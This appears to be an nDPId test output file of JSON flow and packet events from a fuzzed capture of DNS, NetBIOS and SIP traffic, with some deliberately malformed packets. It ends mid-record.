+00481{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469542,"pkt_ts_usec":336890,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaY4AAIARA7\/ZqAECwKgB\/wCJAIkAOlu0hOcBEAABaQAAAAAAIEVGRURFSkZQRUVFUEVORUIFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00515{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1120469542336,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"217.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":4,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1120469542336,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"217.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1120469551656,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469551,"pkt_ts_usec":656311,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUMjQlcwDtAW69CABFAAA+aY8AAIARTczAqAECwKgBAQqYADUAKiNDstABAAABAAAAAADPA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1120469551656,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120469552651,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.37.115.0","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469552,"pkt_ts_usec":651694,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+aZAAAIARTcvAqAECwCVzAAqYADUCKiNDstABAAABAAAAAAAAA3NpcAljeWJlcmNydHkCZGsAAAEAAQ=="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120469552651,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.37.115.0","src_port":2712,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercrty.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1120469554654,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":49973,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469554,"pkt_ts_usec":654733,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW51CABFAAA+aZEAAIARlcrAqAECwKgBAQqYwzUAKiNDstABAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1120469554824,"flow_last_seen":0,"flow_tot_l4_data_len":110,"flow_min_l4_data_len":110,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"192.168.1.2","src_port":53,"dst_port":2712,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00542{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469554,"pkt_ts_usec":824385,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"AODtAW69ADBUADRWCABFAACCAABAAEARtxfAqAEDwKgBAgA1CpgAbjxwstCBgAABAAEAAgABA3NpcAljeWJlcmNpdHkCZGsAAAEAAcAMAAEAAQBAASwABNTyISPAEAACAAEAAACJAAYDbnMywBDAEAACAAEAAACJAAYDbnMxwBDAUAABAAEAAACJAATU8in4"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1120469554824,"flow_last_seen":0,"flow_tot_l4_data_len":110,"flow_min_l4_data_len":110,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"192.168.1.2","src_port":53,"dst_port":2712,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":1,"num_answers":4,"reply_code":0,"query_type":0,"rsp_type":1,"rsp_addr":"212.242.33.35"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1120469555830,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469555,"pkt_ts_usec":830631,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZIAAIARTb\/AqAECwKgBAQqZADUANN1ZTNIBAAABAAAAACWHAF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00621{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1120469555830,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":24435,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1120469556827,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469556,"pkt_ts_usec":827530,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZMAAIARTb7AqAFuwKgBAQqZADUANN1ZTNIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5JXMAJXMAAAE="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1120469556827,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":9587,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469558,"pkt_ts_usec":830554,"pkt_caplen":86,"pkt_type":27904,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69bQBFAABIaZQAAIARTb3QqAECwKgBAQqZADUANN1ZTNIBAAABAAAAAAAABF9zaXAMX3VkcINzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":12,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":27904} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1120469560833,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2597,"dst_port":29440,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469560,"pkt_ts_usec":833324,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZUAAIARTbzAqAECwKgBAQolcwAANN9ZTE4BAAABACVzAAAABF9zaXAEX1VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120469552651,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.37.115.0","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1120469554824,"flow_last_seen":0,"flow_tot_l4_data_len":110,"flow_min_l4_data_len":110,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"192.168.1.2","src_port":53,"dst_port":2712,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1120469551656,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1120469556827,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1120469555830,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1120469560833,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2597,"dst_port":29440,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1120469560833,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2597,"dst_port":29440,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1120469554654,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":49973,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1120469554654,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2712,"dst_port":49973,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1120469564839,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469564,"pkt_ts_usec":839101,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZYAAIARTbvAqAECwKgBAQqZADUANN1ZTNIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1120469564839,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1120469572841,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2714,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":841120,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaZcAAIARTb7AqAECwKgBAQqaADUAMHlSV9IAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1120469572841,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2714,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00491{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":842609,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CpoAR1vOq9KAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3RP"} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_first_seen":1120469572841,"flow_last_seen":1120469572842,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2714,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1120469572844,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.52","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01032{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":844249,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvaZgAAIARF6bAqAE01PIhIxPEE8QB2272UkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmkdOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEubDticmFuY2g9ejloRzRiS25wMTUxMjQ4NzM3LTQ2WmE3MTVlMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTkwM2RmMGENClRvOiA8c2lwOnZvaTE4MCVzAHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktbTY2NWQ3NzWjNTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MDYwO2xpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1120469572844,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.52","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1120469572981,"flow_last_seen":0,"flow_tot_l4_data_len":494,"flow_min_l4_data_len":494,"flow_max_l4_data_len":494,"flow_avg_l4_data_len":494,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01056{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469572,"pkt_ts_usec":981006,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7tD8U0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWhsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA2OCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2M0BzaXAuY3lRZXJjaXR5LmRrPjt0YWc9OTAzZGYwYQ0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kay47dGFnPTAwLTA0MDkyLTE3MDFhZjYyLTEyMGM2NzE3Mg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4SjEuMjtyZWNlaXZlZD04MGcyMzAuMm05LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5d0c0YktucDE1MTI0ODczNy00NmVhNzE1ZTE5Mi4xNjguMS4yDQpXV1ctQXV0aGVmdGljYXRlOiBE+2dlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlLSIxNzCxYWY1NjZiZTE4MjA3MDA4tGM2Zhc0MDcwNmJiIixvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFscyVzAGxnb3JpdGhtPU1ENQ0KQ2